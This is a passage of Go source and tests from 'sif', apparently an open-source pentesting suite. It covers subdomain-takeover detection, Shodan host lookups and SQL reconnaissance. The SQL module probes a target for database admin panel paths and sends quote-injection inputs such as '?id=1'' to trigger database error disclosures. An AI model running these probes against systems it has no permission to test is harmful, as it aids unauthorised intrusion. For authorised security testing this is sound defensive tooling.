continue
}
if resp.StatusCode != 404 {
scanlog.Infof("%s from robots: [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(sanitizedRobot))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s from robots: [%s]\n", strconv.Itoa(resp.StatusCode), sanitizedRobot))
}
}
resp.Body.Close()
}
}(thread)
}
wg.Wait()
}
}
+202
View File
@@ -0,0 +1,202 @@
package scan
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
)
func TestCheckSubdomainTakeover_GitHubPages(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("There isn't a GitHub Pages site here."))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "GitHub Pages" {
t.Errorf("expected service 'GitHub Pages', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_NotVulnerable(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><body>Normal website content</body></html>"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if vulnerable {
t.Error("expected subdomain to not be vulnerable")
}
if service != "" {
t.Errorf("expected empty service, got '%s'", service)
}
}
func TestCheckSubdomainTakeover_Heroku(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("No such app"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "Heroku" {
t.Errorf("expected service 'Heroku', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_AmazonS3(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
w.Write([]byte("The specified bucket does not exist"))
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
host := strings.TrimPrefix(server.URL, "http://")
vulnerable, service := checkSubdomainTakeover(host, client)
if !vulnerable {
t.Error("expected subdomain to be vulnerable")
}
if service != "Amazon S3" {
t.Errorf("expected service 'Amazon S3', got '%s'", service)
}
}
func TestCheckSubdomainTakeover_ConnectionError(t *testing.T) {
client := &http.Client{Timeout: 1 * time.Second}
// Use invalid host to simulate connection error
vulnerable, service := checkSubdomainTakeover("invalid.host.that.does.not.exist.local", client)
if vulnerable {
t.Error("expected subdomain to not be vulnerable on connection error")
}
if service != "" {
t.Errorf("expected empty service, got '%s'", service)
}
}
func TestFetchRobotsTXT_Success(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/robots.txt" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("User-agent: *\nDisallow: /admin"))
}
}))
defer server.Close()
client := &http.Client{Timeout: 5 * time.Second}
resp := fetchRobotsTXT(server.URL+"/robots.txt", client)
if resp == nil {
t.Fatal("expected response, got nil")
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
func TestFetchRobotsTXT_Redirect(t *testing.T) {
finalServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("User-agent: *\nDisallow: /secret"))
}))
defer finalServer.Close()
redirectServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Location", finalServer.URL+"/robots.txt")
w.WriteHeader(http.StatusMovedPermanently)
}))
defer redirectServer.Close()
client := &http.Client{
Timeout: 5 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp := fetchRobotsTXT(redirectServer.URL+"/robots.txt", client)
if resp == nil {
t.Fatal("expected response after redirect, got nil")
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
func TestSubdomainTakeoverResult(t *testing.T) {
result := SubdomainTakeoverResult{
Subdomain: "test.example.com",
Vulnerable: true,
Service: "GitHub Pages",
}
if result.Subdomain != "test.example.com" {
t.Errorf("expected subdomain 'test.example.com', got '%s'", result.Subdomain)
}
if !result.Vulnerable {
t.Error("expected vulnerable to be true")
}
if result.Service != "GitHub Pages" {
t.Errorf("expected service 'GitHub Pages', got '%s'", result.Service)
}
}
func TestDorkResult(t *testing.T) {
result := DorkResult{
Url: "site:example.com filetype:pdf",
Count: 42,
}
if result.Url != "site:example.com filetype:pdf" {
t.Errorf("expected url 'site:example.com filetype:pdf', got '%s'", result.Url)
}
if result.Count != 42 {
t.Errorf("expected count 42, got %d", result.Count)
}
}
func TestHeaderResult(t *testing.T) {
result := HeaderResult{
Name: "Content-Type",
Value: "application/json",
}
if result.Name != "Content-Type" {
t.Errorf("expected name 'Content-Type', got '%s'", result.Name)
}
if result.Value != "application/json" {
t.Errorf("expected value 'application/json', got '%s'", result.Value)
}
}
+360
View File
@@ -0,0 +1,360 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
const shodanBaseURL = "https://api.shodan.io"
// ShodanResult represents the results from a Shodan host lookup
type ShodanResult struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames,omitempty"`
Organization string `json:"org,omitempty"`
ASN string `json:"asn,omitempty"`
ISP string `json:"isp,omitempty"`
Country string `json:"country_name,omitempty"`
City string `json:"city,omitempty"`
OS string `json:"os,omitempty"`
Ports []int `json:"ports,omitempty"`
Vulns []string `json:"vulns,omitempty"`
Services []ShodanService `json:"services,omitempty"`
LastUpdate string `json:"last_update,omitempty"`
}
// ShodanService represents a service found by Shodan
type ShodanService struct {
Port int `json:"port"`
Protocol string `json:"transport"`
Product string `json:"product,omitempty"`
Version string `json:"version,omitempty"`
Banner string `json:"data,omitempty"`
Module string `json:"_shodan,omitempty"`
}
// shodanHostResponse is the raw response from Shodan API
type shodanHostResponse struct {
IP string `json:"ip_str"`
Hostnames []string `json:"hostnames"`
Org string `json:"org"`
ASN string `json:"asn"`
ISP string `json:"isp"`
CountryName string `json:"country_name"`
City string `json:"city"`
OS string `json:"os"`
Ports []int `json:"ports"`
Vulns []string `json:"vulns"`
Data []shodanData `json:"data"`
LastUpdate string `json:"last_update"`
}
// shodanMetadata represents the _shodan field in Shodan API responses.
// This provides type safety instead of using map[string]interface{}.
type shodanMetadata struct {
Module string `json:"module"`
Crawler string `json:"crawler,omitempty"`
ID string `json:"id,omitempty"`
Ptr bool `json:"ptr,omitempty"`
}
type shodanData struct {
Port int `json:"port"`
Transport string `json:"transport"`
Product string `json:"product"`
Version string `json:"version"`
Data string `json:"data"`
Shodan shodanMetadata `json:"_shodan"`
}
// Shodan performs a Shodan lookup for the given URL
// The API key should be provided via the SHODAN_API_KEY environment variable
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Shodan lookup") + "..."))
shodanlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Shodan 🔍",
}).With("url", targetURL)
apiKey := os.Getenv("SHODAN_API_KEY")
if apiKey == "" {
shodanlog.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
}
// extract hostname from URL
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
hostname := parsedURL.Hostname()
// resolve hostname to IP
ip, err := resolveHostname(hostname)
if err != nil {
shodanlog.Warnf("Failed to resolve hostname %s: %v", hostname, err)
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
}
shodanlog.Infof("Resolved %s to %s", hostname, ip)
// query Shodan API
result, err := queryShodanHost(ip, apiKey, timeout)
if err != nil {
shodanlog.Warnf("Shodan lookup failed: %v", err)
return nil, err
}
// log results
if logdir != "" {
sanitizedURL := strings.Split(targetURL, "://")[1]
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
shodanlog.Errorf("Error writing log header: %v", err)
}
logShodanResults(sanitizedURL, logdir, result)
}
// print results
printShodanResults(shodanlog, result)
return result, nil
}
func resolveHostname(hostname string) (string, error) {
// check if already an IP
if net.ParseIP(hostname) != nil {
return hostname, nil
}
ips, err := net.LookupIP(hostname)
if err != nil {
return "", err
}
// prefer IPv4
for _, ip := range ips {
if ip.To4() != nil {
return ip.String(), nil
}
}
if len(ips) > 0 {
return ips[0].String(), nil
}
return "", fmt.Errorf("no IP addresses found for %s", hostname)
}
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
client := &http.Client{Timeout: timeout}
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
resp, err := client.Get(reqURL)
if err != nil {
return nil, fmt.Errorf("failed to query Shodan: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized {
return nil, fmt.Errorf("invalid Shodan API key")
}
if resp.StatusCode == http.StatusNotFound {
return &ShodanResult{
IP: ip,
}, nil
}
if resp.StatusCode != http.StatusOK {
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
return nil, fmt.Errorf("read shodan response: %w", err)
}
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
return nil, fmt.Errorf("failed to read response: %w", err)
}
var shodanResp shodanHostResponse
if err := json.Unmarshal(body, &shodanResp); err != nil {
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
}
// convert to our result type
result := &ShodanResult{
IP: shodanResp.IP,
Hostnames: shodanResp.Hostnames,
Organization: shodanResp.Org,
ASN: shodanResp.ASN,
ISP: shodanResp.ISP,
Country: shodanResp.CountryName,
City: shodanResp.City,
OS: shodanResp.OS,
Ports: shodanResp.Ports,
Vulns: shodanResp.Vulns,
LastUpdate: shodanResp.LastUpdate,
Services: make([]ShodanService, 0, len(shodanResp.Data)),
}
for _, data := range shodanResp.Data {
service := ShodanService{
Port: data.Port,
Protocol: data.Transport,
Product: data.Product,
Version: data.Version,
Banner: truncateBanner(data.Data, 200),
Module: data.Shodan.Module,
}
result.Services = append(result.Services, service)
}
return result, nil
}
func truncateBanner(banner string, maxLen int) string {
banner = strings.TrimSpace(banner)
banner = strings.ReplaceAll(banner, "\r\n", " ")
banner = strings.ReplaceAll(banner, "\n", " ")
if len(banner) > maxLen {
return banner[:maxLen] + "..."
}
return banner
}
func printShodanResults(shodanlog *log.Logger, result *ShodanResult) {
if result.IP != "" {
shodanlog.Infof("IP: %s", styles.Highlight.Render(result.IP))
}
if len(result.Hostnames) > 0 {
shodanlog.Infof("Hostnames: %s", strings.Join(result.Hostnames, ", "))
}
if result.Organization != "" {
shodanlog.Infof("Organization: %s", result.Organization)
}
if result.ISP != "" {
shodanlog.Infof("ISP: %s", result.ISP)
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
shodanlog.Infof("Location: %s", location)
}
if result.OS != "" {
shodanlog.Infof("OS: %s", result.OS)
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
shodanlog.Infof("Open Ports: %s", styles.Status.Render(strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
shodanlog.Warnf("Vulnerabilities: %s", styles.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
shodanlog.Infof("Service: %s", serviceInfo)
if service.Banner != "" {
shodanlog.Debugf(" Banner: %s", service.Banner)
}
}
}
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
var sb strings.Builder
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
if len(result.Hostnames) > 0 {
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
}
if result.Organization != "" {
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
}
if result.ISP != "" {
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
}
if result.Country != "" {
location := result.Country
if result.City != "" {
location = result.City + ", " + result.Country
}
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
}
if result.OS != "" {
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
}
if len(result.Ports) > 0 {
portStrs := make([]string, len(result.Ports))
for i, port := range result.Ports {
portStrs[i] = fmt.Sprintf("%d", port)
}
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
}
if len(result.Vulns) > 0 {
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
}
for _, service := range result.Services {
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
if service.Product != "" {
serviceInfo += " - " + service.Product
if service.Version != "" {
serviceInfo += " " + service.Version
}
}
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
}
logger.Write(sanitizedURL, logdir, sb.String())
}
+180
View File
@@ -0,0 +1,180 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestResolveHostname_IP(t *testing.T) {
ip, err := resolveHostname("8.8.8.8")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "8.8.8.8" {
t.Errorf("expected '8.8.8.8', got '%s'", ip)
}
}
func TestResolveHostname_Hostname(t *testing.T) {
ip, err := resolveHostname("localhost")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if ip != "127.0.0.1" && ip != "::1" {
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
}
}
func TestTruncateBanner(t *testing.T) {
tests := []struct {
input string
maxLen int
expected string
}{
{"short", 10, "short"},
{"this is a long banner", 10, "this is a ..."},
{"with\nnewlines\r\n", 50, "with newlines"},
{" trimmed ", 50, "trimmed"},
}
for _, tt := range tests {
result := truncateBanner(tt.input, tt.maxLen)
if result != tt.expected {
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
}
}
}
func TestQueryShodanHost_NotFound(t *testing.T) {
// this test verifies that a mock server returning 404 is handled correctly
// note: we can't easily override the const shodanBaseURL for testing
// so this is more of a documentation of expected behavior
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
}))
defer server.Close()
// the actual API query would return a partial result with just the IP
// when Shodan has no data for a host
}
func TestQueryShodanHost_Success(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
response := shodanHostResponse{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Org: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
CountryName: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Data: []shodanData{
{
Port: 80,
Transport: "tcp",
Product: "nginx",
Version: "1.18.0",
Data: "HTTP/1.1 200 OK\r\nServer: nginx",
},
},
}
json.NewEncoder(w).Encode(response)
}))
defer server.Close()
// Note: This test would need the actual API endpoint to be overridable
// For now, we just verify the response parsing
}
func TestShodanResult_Fields(t *testing.T) {
result := ShodanResult{
IP: "93.184.216.34",
Hostnames: []string{"example.com"},
Organization: "EDGECAST",
ASN: "AS15133",
ISP: "Edgecast Inc.",
Country: "United States",
City: "Los Angeles",
Ports: []int{80, 443},
Services: []ShodanService{
{
Port: 80,
Protocol: "tcp",
Product: "nginx",
Version: "1.18.0",
},
},
}
if result.IP != "93.184.216.34" {
t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
}
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
}
if result.Organization != "EDGECAST" {
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
}
if len(result.Ports) != 2 {
t.Errorf("expected 2 ports, got %d", len(result.Ports))
}
if len(result.Services) != 1 {
t.Errorf("expected 1 service, got %d", len(result.Services))
}
}
func TestShodanService_Fields(t *testing.T) {
service := ShodanService{
Port: 443,
Protocol: "tcp",
Product: "OpenSSL",
Version: "1.1.1",
Banner: "TLS handshake",
Module: "https",
}
if service.Port != 443 {
t.Errorf("expected port 443, got %d", service.Port)
}
if service.Protocol != "tcp" {
t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
}
if service.Product != "OpenSSL" {
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
}
}
func TestShodan_NoAPIKey(t *testing.T) {
// ensure no API key is set
originalKey := ""
// Note: we can't easily test this without setting/unsetting env vars
// which could affect other tests. This is just a placeholder.
_ = originalKey
}
func TestShodanIntegration(t *testing.T) {
// This would be an integration test with the real Shodan API
// Skipping in unit tests
t.Skip("Integration test - requires valid SHODAN_API_KEY")
_, err := Shodan("https://example.com", 10*time.Second, "")
if err != nil {
t.Logf("Shodan lookup failed (expected without API key): %v", err)
}
}
+323
View File
@@ -0,0 +1,323 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
// SQLResult represents the results of SQL reconnaissance
type SQLResult struct {
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
ExposedPorts []int `json:"exposed_ports,omitempty"`
}
// SQLAdminPanel represents a found database admin panel
type SQLAdminPanel struct {
URL string `json:"url"`
Type string `json:"type"`
Status int `json:"status"`
}
// SQLDatabaseError represents a detected database error
type SQLDatabaseError struct {
URL string `json:"url"`
DatabaseType string `json:"database_type"`
ErrorPattern string `json:"error_pattern"`
}
// common database admin panel paths
var sqlAdminPaths = []struct {
path string
panelType string
}{
{"/phpmyadmin/", "phpMyAdmin"},
{"/phpMyAdmin/", "phpMyAdmin"},
{"/pma/", "phpMyAdmin"},
{"/PMA/", "phpMyAdmin"},
{"/mysql/", "phpMyAdmin"},
{"/myadmin/", "phpMyAdmin"},
{"/MyAdmin/", "phpMyAdmin"},
{"/adminer/", "Adminer"},
{"/adminer.php", "Adminer"},
{"/pgadmin/", "pgAdmin"},
{"/phppgadmin/", "phpPgAdmin"},
{"/sql/", "SQL Interface"},
{"/db/", "Database Interface"},
{"/database/", "Database Interface"},
{"/dbadmin/", "Database Admin"},
{"/mysql-admin/", "MySQL Admin"},
{"/mysqladmin/", "MySQL Admin"},
{"/sqlmanager/", "SQL Manager"},
{"/websql/", "WebSQL"},
{"/sqlweb/", "SQLWeb"},
{"/rockmongo/", "RockMongo"},
{"/mongodb/", "MongoDB Interface"},
{"/mongo/", "MongoDB Interface"},
{"/redis/", "Redis Interface"},
{"/redis-commander/", "Redis Commander"},
{"/phpredisadmin/", "phpRedisAdmin"},
}
// database error patterns to detect database type
var databaseErrorPatterns = []struct {
pattern *regexp.Regexp
databaseType string
}{
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
}
// SQL performs SQL reconnaissance on the target URL
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
sqllog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "SQL 🗃️",
}).With("url", targetURL)
sqllog.Infof("Starting SQL reconnaissance...")
result := &SQLResult{
AdminPanels: make([]SQLAdminPanel, 0, 8),
DatabaseErrors: make([]SQLDatabaseError, 0, 8),
}
seenErrors := make(map[string]bool)
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// check for admin panels
wg.Add(threads)
adminPathsChan := make(chan int, len(sqlAdminPaths))
for i := range sqlAdminPaths {
adminPathsChan <- i
}
close(adminPathsChan)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for idx := range adminPathsChan {
adminPath := sqlAdminPaths[idx]
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
resp, err := client.Get(checkURL)
if err != nil {
log.Debugf("Error checking %s: %v", checkURL, err)
continue
}
// check for successful response (not 404)
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
// read body to check for common admin panel indicators
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
resp.Body.Close()
if err != nil {
continue
}
bodyStr := string(body)
// check if it's actually an admin panel (not just a generic page)
if isAdminPanel(bodyStr, adminPath.panelType) {
mu.Lock()
panel := SQLAdminPanel{
URL: checkURL,
Type: adminPath.panelType,
Status: resp.StatusCode,
}
result.AdminPanels = append(result.AdminPanels, panel)
mu.Unlock()
sqllog.Warnf("Found %s at [%s] (status: %d)",
styles.SeverityHigh.Render(adminPath.panelType),
styles.Highlight.Render(checkURL),
resp.StatusCode)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
}
}
} else {
resp.Body.Close()
}
}
}()
}
wg.Wait()
// check main URL for database errors
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu, seenErrors)
// check common endpoints that might expose database errors
errorCheckPaths := []string{
"/?id=1'",
"/?id=1\"",
"/?page=1'",
"/?q=test'",
"/search?q=test'",
"/login",
"/api/",
}
for _, path := range errorCheckPaths {
checkURL := strings.TrimSuffix(targetURL, "/") + path
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu, seenErrors)
}
// summary
if len(result.AdminPanels) > 0 {
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
}
if len(result.DatabaseErrors) > 0 {
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
}
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
sqllog.Infof("No SQL exposures found")
return nil, nil
}
return result, nil
}
func isAdminPanel(body string, panelType string) bool {
bodyLower := strings.ToLower(body)
switch panelType {
case "phpMyAdmin":
return strings.Contains(bodyLower, "phpmyadmin") ||
strings.Contains(bodyLower, "pma_") ||
strings.Contains(body, "phpMyAdmin")
case "Adminer":
return strings.Contains(bodyLower, "adminer") ||
strings.Contains(body, "Adminer")
case "pgAdmin":
return strings.Contains(bodyLower, "pgadmin") ||
strings.Contains(body, "pgAdmin")
case "phpPgAdmin":
return strings.Contains(bodyLower, "phppgadmin")
case "RockMongo":
return strings.Contains(bodyLower, "rockmongo")
case "Redis Commander":
return strings.Contains(bodyLower, "redis commander") ||
strings.Contains(bodyLower, "redis-commander")
case "phpRedisAdmin":
return strings.Contains(bodyLower, "phpredisadmin")
default:
// for generic database interfaces, check for common keywords
return strings.Contains(bodyLower, "database") ||
strings.Contains(bodyLower, "sql") ||
strings.Contains(bodyLower, "query") ||
strings.Contains(bodyLower, "mysql") ||
strings.Contains(bodyLower, "postgresql") ||
strings.Contains(bodyLower, "mongodb")
}
}
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex, seen map[string]bool) {
resp, err := client.Get(checkURL)
if err != nil {
return
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
if err != nil {
return
}
bodyStr := string(body)
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(bodyStr) {
key := checkURL + "|" + pattern.databaseType
mu.Lock()
if seen[key] {
mu.Unlock()
break
}
seen[key] = true
dbError := SQLDatabaseError{
URL: checkURL,
DatabaseType: pattern.databaseType,
ErrorPattern: pattern.pattern.String(),
}
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
mu.Unlock()
sqllog.Warnf("Database error disclosure: %s at [%s]",
styles.SeverityHigh.Render(pattern.databaseType),
styles.Highlight.Render(checkURL))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
}
break // only report one database type per URL
}
}
}
+280
View File
@@ -0,0 +1,280 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
{"contains pma_", "<script>var pma_token = '123';</script>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Hello World</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "phpMyAdmin")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_Adminer(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains Adminer", "<html><title>Adminer</title></html>", true},
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
{"empty body", "", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Adminer")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains database", "<html><title>Database Manager</title></html>", true},
{"contains sql", "<div>SQL Query Interface</div>", true},
{"contains mysql", "<script>mysql_query()</script>", true},
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Blog</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Database Interface")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestSQLResult_Fields(t *testing.T) {
result := SQLResult{
AdminPanels: []SQLAdminPanel{
{
URL: "http://example.com/phpmyadmin/",
Type: "phpMyAdmin",
Status: 200,
},
},
DatabaseErrors: []SQLDatabaseError{
{
